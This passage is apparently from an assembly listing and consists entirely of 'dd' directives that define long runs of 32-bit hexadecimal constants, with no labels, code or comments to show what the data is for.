9C1EDADh, 341FFD8Dh dd 1448E24h, 7B4DBDF5h, 0D8601964h, 3507A43Ah, 9D2907A2h dd 6084401Bh, 0BED00081h, 6165E071h, 79CB72E9h, 5BC64157h dd 0C86B9A7Ah, 80E7C215h, 0CAF588E2h, 2F0E5EF6h, 0E60594Fh dd 4B778867h, 1BCC09ECh, 1BB12D3h, 1991BFFBh, 322F514Eh dd 2561F5FAh, 39B2151Ah, 0CEE99200h, 0A121DD32h, 0BE470F00h dd 0B723803Eh, 0D4857101h, 62DBB41h, 0C100FBB7h, 2AD3211Fh dd 994A4E83h, 1EA46F0Ah, 96042646h, 1561204h, 5FD1DF7Ah dd 7A66EA5Bh, 7326D904h, 0B0BC339Ch, 0C0F8DE5Eh, 400CDABEh dd 445E1C86h, 0AF5412A2h, 1096C8h, 0E6F87481h, 0FB7C8FB9h dd 28688707h, 0BFE09D65h, 0B54A2D15h, 0D71FB6F2h, 0DD258266h dd 0A4BF7990h, 7A483A17h, 6EDD2EA9h, 0ABD9128Ch, 0CA04D66Fh dd 99331021h, 802138A4h, 689D9265h, 629000A1h, 1DE411ECh dd 62E0809h, 0C22D8920h, 95897067h, 9EF4AB7Ch, 2CC4C059h dd 0C902BFB9h, 0B3464391h, 2C3CF5E6h, 9D4F496h, 94F673C0h dd 477D7300h, 0FC975BBCh, 0BC21644Fh, 1A6D85B1h, 0A52C3BEAh dd 820F0C05h, 260BF625h, 80927B11h, 424D3A13h, 0CE007C54h dd 0EA88A4EFh, 8809E910h, 0F10F28DEh, 44B408D7h, 8DBCFDB1h dd 9A7B3A3h, 0DE745Ch, 1EB6A26Ah, 0CE13CB1Dh, 29465358h dd 7F62F75Bh, 7A4F7703h, 5D8C5B40h, 0F3D2029Ah, 14E97DDEh dd 2AE11B20h, 0FEDC5EF9h, 789D1640h, 458BD27h, 0FB118D7Bh dd 18B7BB1Ah, 411B4FF0h, 0D4EAA417h, 0BE4A4CECh, 4426D869h dd 755AE6B0h, 8132613Ah, 49963B13h, 1FCD8531h, 0C84BDB2Bh dd 0BD84C018h, 30F719A7h, 154AC7ACh, 0D80ECDECh, 81C050C2h dd 35A5D6EFh, 0A4056B4Ah, 70EA5317h, 364ADB3Dh, 563BEC95h dd 1BE280F9h, 368EB30h, 8C36E16Fh, 9A12BC2Eh, 1EF33771h dd 9ADFFC25h, 3DE27F7Bh, 98EABD56h, 0EF4B1D11h, 7C8C8125h dd 1D6300DFh, 3DC193FEh, 573B4B30h, 4CA80124h, 43F36D51h dd 0EFDA122Eh, 7380629Eh, 944ADE36h, 0C69A1F25h, 0F78102D5h dd 2D74FF29h, 2D9ECCD7h, 855EDFB7h, 89E804F4h, 0EB1C1DBDh dd 434AD5B7h, 0BC33F5C7h, 0E1A83CF8h, 1480B913h, 23106BAFh dd 0E3E11614h, 79E658AAh, 0B82E2441h, 16BE9244h, 0C828EB1Bh dd 4F470496h, 0B8D0F7A5h, 95310CD1h, 915393B1h, 3CDD81F8h dd 7A4D70DEh, 5F8913F7h, 114D3877h, 0E270821Bh, 70689495h dd 0E4F39549h, 0F8D205D0h, 0AB304C26h, 0A097BC4Bh, 16C87Fh dd 2F59DD9Ah, 0F4EF5E33h, 0C6F10900h, 3984D245h, 961825DCh dd 0E18F8E40h, 0F94F56ECh, 0BD5B1FACh, 97FAF8B1h, 4D7D4F29h dd 4323E747h, 4BB839B5h, 0E82807F8h, 1D4AA231h, 8984ECE2h dd 59564908h, 0F05BA581h, 6C5ABF00h, 0D3892C81h, 0F94C565Ah dd 8D01A04Fh, 0E2054AA9h, 0F0EDD7CFh, 394EE3A8h, 5CDCC0C8h dd 6980A787h, 1F3BBA93h, 0BE18FB00h, 3AAA6B09h, 0F789F9Eh dd 5F5B0640h, 313FD3C6h, 0F529B8D4h, 21E7C6AEh, 7CB8E927h dd 4E56257Dh, 3D0FEDCh, 75F652A5h, 1D5A0FE9h, 6A354EEAh dd 0BAD76380h, 0A404AE77h, 0C18BB2D9h, 3AC91B9Bh, 91D8B55Fh dd 89EB9719h, 4B6D5133h, 489E3AA1h, 3AB306C6h, 16E0A18Dh dd 3053CF47h, 342AAEBh, 1F4ABD9Dh, 3FD3C490h, 5FCD95E9h dd 26D0F4E1h, 4C176CCh, 6DBD8B8Ah, 8BF2EB21h, 3B55202h dd 7C78615Bh, 7B8FF30Eh, 9EA9F350h, 774A0BB8h, 5AEFCEB0h dd 6AA5B10Fh, 1DFD7FECh, 4AC07ADAh, 0C4C56DFBh, 0BE0D6952h dd 4EB042A7h, 11CF851h, 0DFE5399Dh, 42B57B7h, 5F31A7BBh dd 1C12CCB5h, 68630860h, 6A1D02F7h, 0B3DE9184h, 1B165D54h dd 0E6D3F1ACh, 0F5EBA5AEh, 2A6E2191h, 6A8119D5h, 0F83EC4D2h dd 55FDF4D3h, 7D0BA0B8h, 80B9D8B2h, 0DA8ADEC5h, 6F02486Ah dd 500F407Dh, 9057F6F7h, 950E6981h, 0D36962F9h, 60AB505Ch dd 36CC801Ch, 6199C4C1h, 382E29E9h, 3F41DDA3h, 145DFD8h dd 0B3626A1h, 2E2A959Dh, 88088628h, 9801489Ah, 0ADB964B7h dd 842C90E4h, 7510D381h, 3A87E0AFh, 0BDB1C905h, 0D0EF20F2h dd 4AB8FB54h, 571E0712h, 419BBB12h, 8CE2B380h, 0D312603Ah dd 82E6ACFBh, 7DCCF925h, 0E9781498h, 95008282h, 75FB752Fh dd 1435372h, 0A82AD6C2h, 954760EFh, 4F1C6132h, 0E9EB82FFh dd 5DB5211Fh, 0F2AA051Dh, 2DBE4A0Eh, 0A422AF78h, 0D1ABB0E4h dd 3870E6BCh, 0FE78027h, 0FC746AADh, 0DE106623h, 5258471h dd 9188792Ah, 8F205A06h, 2ABE9Bh, 3478F440h, 0AA4322EEh dd 95BA7E6h, 0C8AE0725h, 0E404D86h, 6BA25F9h, 0F7F31738h dd 44EEBE0Bh, 806F0132h, 112EE8CFh, 3F005850h, 36A33BEEh dd 2025698Eh, 5059C0C1h, 0C82B2F5Fh, 0CB39718h, 85EC95h dd 0FEB9C752h, 0F847F917h, 74B84300h, 300698C1h, 0E99239FAh dd 0A0D72D6Bh, 4C5085B0h, 12476455h, 0D6FAC6FAh, 4B848852h dd 7841DCECh, 17AD8630h, 0E06145FDh, 0F1BD2037h, 0DDBD84D2h dd 8716632Fh, 3B18808h, 1A409822h, 4A4851E9h, 0DE99092Bh dd 0F62D6973h, 4E76F233h, 79315F25h, 6C35A51Eh, 0E00CBD61h dd 8224EF68h, 802105AFh, 2137BF84h, 0FF8461B9h, 0CB7AEBB8h dd 562A1C00h, 0E37C5733h, 5F745E48h, 979D30FCh, 353002F9h dd 0CBA26AA7h, 5457F5FAh, 0F7B6D452h, 695055C9h, 0B7E78016h dd 480630EBh, 9A008B2Dh dd 867350B0h, 477345Fh, 15B993F8h, 1341E410h, 57A7098Ah dd 5380B0F3h, 0EF34373Fh, 0A8D24EAh, 9A62A5BFh, 70B1DB75h dd 0C47D66FBh, 8F95DC04h, 99CCFC18h, 41120076h, 23A6FBFDh dd 5C15C37Dh, 0B8378058h, 9E5AC11Ah, 0FD74CD75h, 0A9CC4139h dd 0E39D3A1Ch, 5A95D930h, 5034B62Dh, 2BF59017h, 57261920h dd 0D1010059h, 0B3A39FAh, 9D272B68h, 5F46405Dh, 0F51FA1BAh dd 60C83D2Eh, 24B74938h, 0F2EB8B05h, 1CC14B33h, 0E67B4639h dd 0B015B28Ch, 0C49D5E80h, 0B92245F2h, 8CAAD3AEh, 0BD209DE7h dd 8895952Eh, 0F3F78180h, 9E6584A4h, 6B65250Dh, 5B38931Ch dd 24356EEEh, 351ADB7Ah, 0D48856ADh, 0F1001C46h, 20A56E9Fh dd 0BD287DEDh, 112E8B26h, 18427E1Ah, 0D6955C86h, 8A4F1C46h dd 128248F8h, 97E20921h, 1C4EEB5Ah, 2701C423h, 7CE29DB8h dd 9C75262Ch, 0D1762D28h, 0DC437CD2h, 19E7AE01h, 6D9F46D8h dd 1ED5202Ah, 3E016C0Bh, 3E7C8A6h, 21D8D9C0h, 31F20914h dd 737CE047h, 0F7E38160h, 5945E608h, 0CA4A3A5Bh, 5EF93AEBh dd 6C00AB7Ah, 9E26FA9Ch, 3F155E83h, 583368h, 7BDA482h dd 8C9817h, 65169DC8h, 7C5A27BFh, 5F799412h, 0C2BA2813h dd 3C5C6066h, 893F02DCh, 2D6B5A14h, 0BFECA2D5h, 2CC45CF9h dd 35590B56h, 3364DF56h, 0D8FA5752h, 2B99812Bh, 0CD046012h dd 0F81313A9h, 66CD4A8Dh, 0E1FDC230h, 58409002h, 5B9CAB11h dd 5E57A509h, 78B7DE36h, 6F6A5EC4h, 0B065007Fh, 0C02E28B5h dd 0BD50E81Ah, 766F18F1h, 550089B2h, 0D56CD88Fh, 18082F78h dd 8105E9C2h, 4A351AAh, 2BB23BBEh, 52505309h, 0DD2578F1h dd 0EC7741ABh, 0BA5E9F53h, 5E310F42h, 5EFC408Bh, 0FD097A62h dd 54145F26h, 8BB839E6h, 279EB058h, 46D6627Eh, 61F1001Ch dd 54B67856h, 0A7E0240h, 197D8D89h, 3262EBA9h, 256BCE77h dd 0F7837B3h, 0D0E75B97h, 5E250C38h, 0F409C232h, 919AF659h dd 0A016B520h, 9726B030h, 15910C35h, 814D4585h, 0DE23CF6Dh dd 572D085Ch, 9C2E6C30h, 5C1FFC7Ch, 3A857976h, 0DBC1BC29h dd 0DDE1E204h, 81B5F83Fh, 1EB99509h, 0F3815B00h, 0BCECC409h dd 932A7162h, 87D4FB29h, 0BD6980AFh, 27871925h, 345086DBh dd 887A001Fh, 0EA88390h, 0BB0EBD75h, 7284ED17h, 73D19E1h dd 0AD019BB8h, 29BBED7Eh, 0FC3E64B3h, 64968961h, 92DE9560h dd 202B5079h, 2F7B02B8h, 30314500h, 0D7E4237Fh, 82320085h dd 964F1D7Ah, 0D409EB81h, 8236A124h, 57D2BC30h, 0CE524953h dd 9F8C7C40h, 2908F146h, 1B2DBDh, 230CB568h, 0A4BB779h dd 0F4A5280h, 6E3FF33Ch, 0A6F60058h, 75608CB0h, 8D9E257Fh dd 58FE4AD6h, 7110E003h, 42502702h, 9D12D090h, 0AD014FB7h dd 7539DF43h, 4B0D0230h, 2631C914h, 5F8B2D41h, 0CD61FEA4h dd 0E8B06F80h, 0BA303846h, 0FEA7FC87h, 133B20F5h, 0BE12833Eh dd 99E22742h, 5FF852C2h, 2D518056h, 0F98B2183h, 0F7D41E9h dd 53178727h, 0DD398015h, 1F48A7B6h, 868D2E00h, 0BFD3E941h dd 14710907h, 0D2045B53h, 0C8E15603h, 0E9F9CE2Ah, 9C86A3Bh dd 846EEA86h, 0FBB08494h, 0F6C7957Dh, 815DBB98h, 29487FDBh dd 62C85730h, 0A52F03A8h, 62F717D1h, 0EECCBF02h, 0F35675C7h dd 0DCB577DAh, 76EE0038h, 4F90840Bh, 7980C4F8h, 0B5F1AC19h dd 0AFD7E09Ah, 0F99EEC90h, 259400A8h, 0B9666096h, 0CCB5FD64h dd 61F9098Ch, 0D95D9650h, 0FB9D9309h, 0DAABAD85h, 9DD9D298h dd 0CC1CA541h, 23F1568Bh, 64E9585Ch, 6679004Ah, 9DF7E8FAh dd 0E20AC83Bh, 0B999EA43h, 0F6C174A5h, 8284EF38h, 0A494197Bh dd 4CE0FD9Fh, 0DB9F3165h, 9D1D09Ch, 4E1544Ch, 953134B2h dd 5AC6F8AAh, 1F47FBAh, 14AFCD3Eh, 0B27FCC10h, 2ED3A8DAh dd 40A7F2Bh, 0BE1C4FE7h, 0C3024FE3h, 0D88A56Fh, 0B72D775Ch dd 0F4D7003Fh, 7FB5B131h, 3EF50951h, 0BF92A9ECh, 74AB7A34h dd 0C0D9DA57h, 70B35397h, 0D60161C8h, 0BFB4ECF7h, 102E0B0Ah dd 0CE0B7F31h, 29E4CE56h, 61BDF3EAh, 0CE2FD732h, 20CDC23Eh dd 70F8C557h, 82010E1Fh, 398DB3BEh, 609AA3ABh, 0B6D893C9h dd 6084CF95h, 7E7F151Fh, 3E80CF2Eh, 0A1B392C0h, 1C7E469h dd 76FCDB5Eh, 0C0304CD9h, 0DE9F31D2h, 0B59D0E80h, 0C3772C13h dd 1B478716h, 1C919804h, 0F032DDEFh, 0F5A15BDh, 2C8857E3h dd 0CCEE89A8h, 0B3546C4h, 6D19500Bh, 0B024D841h, 5D12FA00h dd 13C2E4F0h, 0F5019F97h, 0C65B3CD8h, 90556A2h, 1911CCBDh dd 0CEB97780h, 0A34B65C2h, 152B868Ch, 330B89BDh, 0D397A992h dd 1D095A6Bh, 6771A135h, 0F6095B47h, 0B216F4AFh, 11C4357Fh dd 0E6D782ADh, 0DC1EA14Bh, 8A46BD41h, 95218674h, 572E9664h dd 203ECD52h, 5B5F2512h, 0D5A071C5h, 0E9895162h, 25715CB7h dd 0B570EEDBh, 26032D4Dh, 2906AD5Ch, 0C47F6985h, 0B961D7F4h dd 0B8A2D14Ah, 0BF3A0143h, 79663937h, 7824090h, 3EED5081h dd 7FECA2h, 56168C9Eh, 93A20957h, 81E68500h, 0AD47FCD3h dd 6A5B2573h, 0F2B75Fh, 0A70A2B80h, 60DBBACh, 4A72B5A2h dd 0C274EFF0h, 0E94F4DE6h, 72A55B7Fh, 0DD69BD56h, 6B290AE1h dd 0EC2A1DA1h, 0B31BFC98h, 0C5DB2552h, 19C04A5h, 0CB01BA13h dd 310F5F57h, 0C23C243Bh, 59DD7241h, 0F7F8A5ACh, 4EDC515Ch dd 4A5470FEh, 9000DAEAh, 9EA1EEC5h, 2BA49A4h, 7F6A66E9h dd 1761A0BDh, 0B8336990h, 9E360533h, 0E06AC853h, 0D54F5907h dd 8209C0A0h, 56551A62h, 0DB6A162Dh, 0E296C08Bh, 0BBA55D1h dd 0F3213FEDh, 0F48EDCh, 35EDA838h, 91656871h, 9BECD5Ah dd 0A9715BA0h, 97A26092h, 0FC823D3Bh, 9CAC985h, 614E0046h dd 18AC7EFDh, 53BD048Ch, 0A8EEB391h, 0E8B0438h, 6EBED1FFh dd 69F90F13h, 7553C129h, 282E8460h, 28B4A93h, 40D3EB6Eh dd 86D8026Ah, 307D24A2h, 255F5B22h, 0B7770489h, 38020433h dd 205BBCABh, 2C297606h, 53E61609h, 0AAE98012h, 57847AE3h dd 8308174Fh, 21BF0132h, 2F2CA11Fh, 858050DBh, 268E3D5Fh dd 0C1D82A02h, 55BF0F94h, 0CAB5416Ch, 2837FF31h, 0A2ADF700h dd 9E0B84CFh, 0A95E49EFh, 2CBE1A13h, 0C5585DFEh, 86D94AE2h dd 0AC91C47Ah, 7DB95E7Ch, 10BE0E8h, 0FF896E9Ah, 2B564011h dd 41C9E39Ch, 26B17B21h, 84B8A739h, 27DC70BFh, 97CF2BF1h dd 901BB443h, 635B32h, 0BFD54A79h, 116FC478h, 0BDC23397h dd 0D836A020h, 0B079300Ch, 4621550Eh, 70E61C12h, 42E2E730h dd 93160563h, 0E871E4B9h, 0BDD74A53h, 0DF4B865Ah, 0F05D5892h dd 0DFBF2D3Ah, 0FB2B195Fh, 0B93FA128h, 0EF5BB858h, 46AA2C24h dd 66FDBBF7h, 0D5E2F725h, 2FED48B0h, 9E405582h, 1B4241BDh dd 0DCCB8003h, 315090E9h, 164EA122h, 50B330FBh, 81268FEh dd 0C5BA923Fh, 496B811Ah, 9744C14Eh, 25EB2956h, 9EC3AB62h dd 0B10C70EAh, 31A983D5h, 97A3942Ch, 0F4E457D1h, 0F84F8B62h dd 0DDC4ABEh, 1C2C6E8Eh, 0B788408Bh, 951A9738h, 2B12AE5Ch dd 292285E6h, 0F0988C80h, 0F8893297h, 0BF0E403Bh, 3486DC3Bh dd 68124A1Ah, 97D9C0D8h, 0C9149030h, 5E9D0380h, 0EF16C43Dh dd 0A29ABC20h, 0D97A0E06h, 5E60C838h, 0A6A076B5h, 8CE38A05h dd 84FB96A5h, 0A03DB75Ah, 3168312Dh, 45B68825h, 0C7882B03h dd 9AB64B5Eh, 0C01AC8A6h, 0DA024854h, 0BD85B817h, 825E6C2h dd 121089Fh, 10C3B904h, 2AE964A9h, 638720FAh, 7877D84Bh dd 9429DE3Ch, 80EB2E05h dd 0C2A2BBFCh, 0E64B4A97h, 10FDF34Fh, 4F150DC6h, 0A5A2C612h dd 4CD38101h, 2E32C851h, 6DAB5A24h, 656A3F21h, 0B2B87B16h dd 55F31D35h, 47740683h, 2C4980Dh, 0C8543E7Eh, 0C0371B0Fh dd 0AA0C597Fh, 626520D8h, 884F4A7Ah, 66B03EB7h, 91269CD9h dd 7D150D26h, 133049E4h, 65C47BC6h, 0A09EA7FFh, 92C18A9h dd 0F6DDF9ADh, 0DF1756DCh, 0A607C8Dh, 94E11245h, 6AC2E128h dd 49E83CBDh, 34505B04h, 0B8AA9406h, 0DBCA4A22h, 79B260C3h dd 614E9E7Ch, 92E15EA6h, 0F6282E61h, 284FB578h, 0FFE8A964h dd 3BA19580h, 0FE02CFBCh, 16C14A6Dh, 2AF355B1h, 25FE42F0h dd 0F1CE676Ah, 4012CDB5h, 0FF084E8Ch, 8AB7E112h, 749DDBE2h dd 4633C251h, 0EF51D85Ch, 6B7B7Bh, 0BD9CA592h, 4B2349CFh dd 22B38A4Eh, 0DD8A1389h, 295D0B60h, 58583DA9h, 0CD781AB3h dd 5DEF01FDh, 18B1EA8Bh, 2DA620A4h, 0D22A2741h, 0E5251043h dd 3B0856C0h, 5E7F0035h, 0DED69E83h, 932D476Ah, 2BBCE1D8h dd 955C5B02h, 0DF254EAEh, 833EA4B7h, 5BA0A118h, 2562BEF9h dd 0F34E01C1h, 2DE98983h, 87243A32h, 0B8B68F52h, 3A2FBC4Fh dd 1E649FAh, 0C71751BBh, 9B3E6A0Ch, 365EC0DCh, 407D993h dd 2BADB633h, 147F8F8h, 61D86867h, 32A3249h, 56622784h dd 6BAA30BDh, 89009E6Ch, 0A754EB45h, 20E1B86h, 0FCAF6546h dd 605C5FCAh, 31546D6h, 9501C586h, 0F84725FDh, 909554C6h dd 1DA86E2h, 0BD32EE44h, 64CFC135h, 730541C4h, 1E8E95Bh dd 97DBE5C8h, 3DD74A09h, 0D73D85C2h, 0DA0B82E4h, 624455Ch dd 62F10BFCh, 9A554283h, 0C6F15D5Ah, 6CF8600Ch, 38F3BDD1h dd 2D9EAF28h, 2EBF5080h, 4B0DF4DCh, 2F388D5Fh, 891667F3h dd 8B2EB906h, 13E25F9Dh, 802FBDD5h, 41274C56h, 0D909D2B8h dd 54301120h, 57506198h, 84A2E8BBh, 7FAD174Eh, 599D2B0Dh dd 0ED122AE5h, 83939EEAh, 0E8F47C3Ah, 39C52750h, 0BD0B992Bh dd 9CDF0B15h, 865E97B3h, 0FA777B8Eh, 13107555h, 0E9002FEFh dd 0C85C1381h, 5809CDh, 0C004DD27h, 0E35F8B90h, 521C58B8h dd 5122880Fh, 526ABF5Bh, 0FCDD240Bh, 20C8296h, 0D16140F6h dd 3D0700F3h, 0A9A7CDA6h, 33275250h, 4837F713h, 77AC2100h dd 3AFC6280h, 2D4C998Fh, 0B91E7516h, 13A2D47Dh, 32FF0B55h dd 0B7108A0Ch, 0D65A8369h, 50C9D2FDh, 0DD2FC5F9h, 904F2A18h dd 9CDB8100h, 0BB3D77ECh, 822E2F06h, 392BC50h, 0E7BB6D9Fh dd 2A680066h, 2B90B84Ah, 0FC816170h, 95E6E6D6h, 0BBA7DBh dd 937DF387h, 16DCC54Eh, 0EE4D4C64h, 0FC25C5CBh, 0DB2D43CDh dd 87D67073h, 0B7881404h, 25ABF9A4h, 9C02BAB1h, 5561F5C0h dd 467C8B6Dh, 2921001Dh, 0E5E19C09h, 0C06A1EF1h, 49854B06h dd 514192EAh, 0C99E6A0Eh, 1AE8A780h, 14978440h, 449206Ch dd 4E955895h, 0F6D7FC12h, 726D9F27h, 18601A64h, 6C0913D1h dd 186DC286h, 2BEA892h, 96847119h, 905C8E8Ch, 42F38061h dd 4A858230h, 0F28CB601h, 4C983015h, 5DBD0B09h, 9F93730Eh dd 1A2B278Bh, 902D247Ch, 0F45EBA1Fh, 1A550031h, 8F768AABh dd 0BB00E5F3h, 0C81B7861h, 0BC5BF98Bh, 6021C753h, 0C4231FF3h dd 6A85834Fh, 0BF1288BAh, 0D8DEC20Bh, 53EF757Ch, 41ECB2E0h dd 92220017h, 0CE757984h, 9D25BD29h, 9F94CE19h, 0CC013CB7h dd 0A4F1B7FBh, 44E844F0h, 74F4E70Bh, 797BE1F0h, 85388C09h dd 812C023Dh, 0EF5F0431h, 1FA21BCAh, 0BF25D058h, 0BDB9C6DEh dd 0FC9751E4h, 57B378F8h, 2C20FB9Dh, 32093E7Dh, 0E1E20D76h dd 25B914D5h, 0F6598D0Fh, 5E34574Bh, 9BF7A617h, 7FB1A912h dd 5D50C560h, 8BBC1820h, 0B2875400h, 502A6ECAh, 516D05EDh dd 0BBB99589h, 0F92EF9F1h, 8469A92Ah, 48294E81h, 4AF76CC1h dd 0B2B71CDh, 0F863FF69h, 0CFF97DF8h, 0DAEC455Eh, 48A402AAh dd 0DF61DDF2h, 0E2FFA4C2h, 1BB55523h, 0C1801891h, 0ABEB52B8h dd 1E05BB75h, 6050259Ah, 0D93B20EEh, 0DB0495D0h, 5282F18Dh dd 218079B8h, 0A47ED2E7h, 0C307A900h, 0FB9D37EEh, 2FE12E06h dd 0A47E2766h, 11D38180h, 8C283B6Dh, 218DCCC5h, 4AA88BAFh dd 54A85FB9h, 12D6BA02h, 0DCCB83E1h, 4A7C6BFCh, 9E8ECB3Bh dd 0FDC2E179h, 6E8308B7h, 0BC977508h, 84F1EDAFh, 0E61A2D4Dh dd 96947156h, 0EAD4AAFh, 92DFC825h, 42C65E65h, 0F975AB67h dd 966142DCh, 18DCB956h, 962A5360h, 77970699h, 0F14ADE94h dd 1A010B8h, 109F5195h, 95246DD5h, 78A74C73h, 1E155634h dd 0AFF98A13h, 71933BDAh, 2396E23Eh, 7D00039h, 356F1C70h dd 8B88007Bh, 0B6081977h, 134B61A4h, 5F35F68Ah, 199BFB38h dd 0ABE93FC5h, 0C980842Ah, 359D0308h, 0F1283241h, 0BB86844Fh dd 0B74E1BE6h, 640309A7h, 0C1FA71C5h, 1205ADBDh, 25DB2945h dd 1051BD0Eh, 0E2C14A76h, 2DE95AB6h, 5D8D8FC0h, 81040C51h dd 29782F58h, 0F43F1DE1h, 539D5FCEh, 181459F6h, 9118B7D2h dd 5D00886Dh, 5A79D3FEh, 1266D91Eh, 0B4CE14BBh, 8B3B521Ah dd 0FC6AA5D8h, 10EDEAFh, 0E2BF685Bh, 92144F3h, 6AB7617Fh dd 0C00DDB3Bh, 5C16E28Dh, 2805E67Dh, 128E3B1Ah, 0AEE95F43h dd 0ADE532F3h, 12B580ADh, 26A4EDEh, 29728517h, 0C55D870Fh dd 91B100E5h, 297AF661h, 0BEBCFC09h, 0F3DC0C5h, 27286982h dd 0B9F4ABC4h, 59ACA300h, 96864838h, 0AB2C02EEh, 0E19131D4h dd 0CA40B4D6h, 65B9ECh, 744A3E28h, 25605CABh, 3EBEF05Eh dd 9A172B83h, 4FE9F507h, 0BACBE1AFh, 442E3666h, 0FE9E6122h dd 4017245h, 90F1CE25h, 0A927ED2Ah, 26D71Ch, 0B9A0C34h dd 8E35E808h, 642F7C95h, 55A2AB83h, 0FF2E8801h, 84FE8BD1h dd 44C3DBA0h, 0D219E6ABh, 9EA0DBB6h, 410049BDh, 0F7C781CAh dd 2718D40Bh, 756D026Ah, 0A45AF8C3h, 36C0A081h, 0B2C1882Ah dd 41CF7EAh, 0F2492692h, 8AD2403Bh, 8CF3B7DDh, 3CCF7725h dd 85291640h, 0BE0B4A3Dh, 0CC5D106Eh, 9D4FAC93h, 9ABAF02h dd 79E1C0BEh, 38B7801Bh, 1C97E977h, 5F4D20F6h, 757A1993h dd 62960071h, 0B081BE9Bh, 6A3FFD1Dh, 1BA86BFDh, 0C180099Bh dd 0F299FF4Fh, 0E4D95884h, 0D6D0F84Fh, 844B1FAEh, 0F0614728h dd 0DA5D8BBCh, 9DB51C2Ch, 0B44A4FFEh, 4BDEF190h, 0FB35C43Bh dd 2901D77Eh, 2FC08973h, 0BFFDAB0h, 525A566Dh, 962555Ch dd 7DA1F28Dh, 4F9DEA6Ah, 3549C8A5h, 31D7065Fh, 28AE0D64h dd 638A0CB0h, 571EAA66h, 0BFD8B018h, 8A359902h, 5570E637h dd 8D3469CCh, 93AB31D5h, 573B293Bh, 214A7F0Bh, 0D827B9E3h dd 0C10AB264h, 2833DB0Bh, 12FA2945h, 1908E3F4h, 1158F9B7h dd 9F3CF92Ah, 0D909A956h, 170378FCh, 4B41BD29h, 12DF3300h dd 120B5C1Fh, 8026E889h, 8BFCC82Bh, 0F7525CD1h, 5FA90133h dd 227579AFh, 0A680E9DFh, 12D90D4Ch, 0BEA1BD23h, 9AA16D5h dd 0C8575088h, 861FE12Ah, 4E3D6095h, 8FCE95C4h, 19CD7AC6h dd 604A446Dh, 5BBA6600h, 0E27EBFFBh, 612525FAh, 0C190FAC6h dd 5EE69625h, 92D75A10h, 5AF37011h, 9FEAB201h, 19E19544h dd 0E7611024h, 2585C52Ah, 0FBCCFA8Ah, 0B0D9D720h, 9CDE959Eh dd 0A1F15DE9h, 18E90614h, 0C9AA955Ah, 1A7E9D1Fh, 5FB5A8CCh dd 80A9E923h, 3A8465ADh, 549598A8h, 165FA3CDh, 0E71037B9h dd 6306A055h, 13EB0BBAh, 125703EEh, 9D604D9h, 7BFCE121h dd 2C00356Eh, 53EA9DB4h, 6F016694h, 2277A9BBh, 4773FC06h dd 54ED300h, 7BEAF502h dd 0DC89770Eh, 61E913B8h, 3331CDECh, 29DC8F4h, 4AECE32Ah dd 88024DAh, 68CF565Eh, 0F80DA300h, 8A0FFA69h, 0E227D21Ah dd 2AC700F1h, 61AA80EFh, 0C05B0159h, 3497ACC1h, 46D0D78Fh dd 547DB706h, 9120BF97h, 0D69F8319h, 1586D02Dh, 91BB01BFh dd 8C0F0977h, 4829AC02h, 0A011C425h, 9D2B6D33h, 1579815Bh dd 0AD4ADB18h, 271A2C1h, 0BCE66Bh, 0F0ACCC43h, 1C72C27Dh dd 0FC6D90h, 0D0A1282Eh, 612F21CDh, 958B7851h, 4575F99Ah dd 0C675CB96h, 4F51098Bh, 9E4D6545h, 0F4FC21C0h, 4C8204C4h dd 0C0A7BBB3h, 0BEEE8138h, 0C80A2661h, 0D830C0FEh, 8AFF4BBFh dd 517234EFh, 0A900A36Fh, 0CCFEBB18h, 7E9D6963h, 0C494FC6Bh dd 0D1E0BA4Dh, 0AFDE9F13h, 0EFF3BF40h, 0BF7E4EB0h, 82807534h dd 8015859Dh, 40C2E1FFh, 50F5ADE7h, 8E2BF7B1h, 2E1322C4h dd 25E69509h, 80C03E5Ch, 13F00357h, 0AB9DE22Ah, 0EC31A369h dd 0B32AD461h, 83C68AFFh, 0DA7BF80h, 0BB606BE7h, 5AFF7AD4h dd 0BC27131Dh, 0AFF712BBh, 0ED7ADBB1h, 27CCE824h, 0B5DBD2Bh dd 46F4D8F4h, 83B24A89h, 3571D92Dh, 83A92134h, 0AD1689CEh dd 8D12DDD8h, 60A5D2BFh, 0C557E7E2h, 6E7F25C9h, 23519D02h dd 0DCADB18Bh, 0F6DC2EB0h, 8060700Fh, 0A1B86FEAh, 610F6A79h dd 22219238h, 1C45C831h, 0DDF26800h, 0BB6CA601h, 20BFA20Ch dd 0DE5032Eh, 0AEE4B9DEh, 0BC9376A8h, 0F6ECD248h, 0EEDEC5D7h dd 602D7CCAh, 0B5C2A7DCh, 9847E4BDh, 61A68904h, 0B923842Bh dd 337E8A2h, 96B6AA8Fh, 0E0127D1Eh, 70AE08FDh, 3B31BF33h dd 0CD7F1B25h, 601B64C6h, 4E4D8D7h, 1E78EE2Ah, 0D13281EFh dd 51814821h, 20B7185Ah, 0AD30EA4Ah, 13E14733h, 0AA10B76Fh dd 0DD95F760h, 41AC8423h, 0C2FC8A25h, 0E0C26DC0h, 96A03CBFh dd 0F98A5707h, 8B51505Bh, 60EA5FDAh, 26E1614Ah, 6E137810h dd 20C3EE93h, 0BFB8EC27h, 0B1D9B75Fh, 12F87710h, 0D8E704F7h dd 0A03B3254h, 258402C5h, 0C6C72A21h, 5D41122Fh, 0D9F8600h dd 0FA00EE3Ch, 0B00ABAA0h, 1CC2F8E0h, 6E50905Fh, 23D70BEAh dd 3E62F85Ch, 0A0995798h, 2DF86B51h, 90DABF80h, 5B2D46F7h dd 5CDB758h, 0BF656B52h, 3ECB8E20h, 0CA4C090Bh, 3975ECF8h dd 642DB3h, 0BF8D5E5Fh, 92000D7Eh, 0B0665FE8h, 6A090BCCh dd 579FB3E2h, 8F713D08h, 66C5A02Ch, 20B250h, 3328807Dh dd 3A52E1h, 0D7DE8DF6h, 3D6B4A8Fh, 8C3FA202h, 8266B341h dd 0DD880FAEh, 318234F9h, 0FD2FC18Dh, 0E8EAAA4Dh, 468F23E0h dd 68CB1794h, 999BFE4Fh, 0FE1E6A85h, 0F510CEB6h, 9D291624h dd 93E61ADh, 0AD08F116h, 0CBFDB4D9h, 9499FCA9h, 6825ACF8h dd 629CDD16h, 0E9352662h, 963D7F3Ch, 8D7CE980h, 97F820FCh dd 5F72189Dh, 3755E7C2h, 0EC310282h, 0E95C9FCEh, 9D081E51h dd 0E2263121h, 0CF75040Bh, 1C8E4081h, 8912F72Dh, 52AC29BDh dd 0A00E8A4Bh, 0E6422E9h, 0AD636F7Ah, 0FC800EE8h, 0FA3B37CCh dd 818D006Bh, 7C516DCFh, 7C95C8D5h, 4453C935h, 0DAED50h dd 7006D8D9h, 0AC3365BFh, 0BBA8184Eh, 945F1B27h, 20F1253Eh dd 